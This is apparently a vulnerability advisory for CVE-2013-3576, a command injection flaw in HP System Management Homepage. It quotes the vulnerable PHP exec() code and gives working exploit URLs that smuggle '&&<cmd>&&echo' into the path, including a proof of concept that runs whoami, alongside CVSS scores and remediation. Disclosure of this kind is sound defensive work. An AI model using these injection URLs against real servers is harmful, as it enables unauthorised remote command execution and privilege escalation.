Overview
HP System Management Homepage contains a command injection vulnerability (CWE-77) that may result in arbitrary command execution and privilege escalation.
Description
Markus Wulftange from Daimler TSS reports:
$tempfilename = "$sessiondir/" . substr($_SERVER["SCRIPT_URL"], 1 + strrpos($_SERVER["SCRIPT_URL"], '/')) . uniqid(".", true) . time() . ".txt"; [...] if("Linux" == PHP_OS) $cmd = "../../webapp-data/webagent/csginkgo -f$tempfilename"; else { $windrive = substr( $_SERVER["WINDIR"], 0, 2 ); $cmd = "$windrive\\hp\\hpsmh\\data\\smhutil\\csginkgo.exe -f$tempfilename"; } exec( $cmd, $out ); This script is reachable via the URL path `https://<host>:2381/smhutil/snmpchp.php.en`. Due to [Apache’s *MultiViews*] [2] it can also be referenced with any additional path segments after the `snmpchp.php.en` segment: `https://<host>:2381/smhutil/snmpchp.php.en/foo/bar` still triggers `https://<host>:2381/smhutil/snmpchp.php.en` but `$_SERVER["SCRIPT_URL"]` is `https://<host>:2381/smhutil/snmpchp.php.en/foo/bar`. This can be exploited as follows: https://<host>:2381/smhutil/snmpchp.php.en/&&<cmd>&&echo (full file name) https://<host>:2381/smhutil/snmpchp.php/&&<cmd>&&echo (without "en" language indicator) https://<host>:2381/smhutil/snmpchp/&&<cmd>&&echo (without any file name extension) Besides the path segment separator `/`, the characters `<`, `>`, and `|` are also not allowed, which makes exploiting this vulnerability a little hard. https://<host>:2381/smhutil/snmpchp/&&whoami&&echo |
Impact
A remote authenticated user may be able to run arbitrary commands on the HP System Management Homepage server. |
Solution
Apply an Update |
Restrict Network Access |
Vendor Information
CVSS Metrics
Group | Score | Vector |
---|---|---|
Base | 9 | AV:N/AC:L/Au:S/C:C/I:C/A:C |
Temporal | 8.5 | E:H/RL:W/RC:C |
Environmental | 6.4 | CDP:ND/TD:M/CR:ND/IR:ND/AR:ND |
References
Acknowledgements
Thanks to Markus Wulftange from Daimler TSS for reporting this vulnerability.
This document was written by Jared Allar.
Other Information
CVE IDs: | CVE-2013-3576 |
Date Public: | 2013-06-10 |
Date First Published: | 2013-06-11 |
Date Last Updated: | 2013-09-24 14:18 UTC |
Document Revision: | 19 |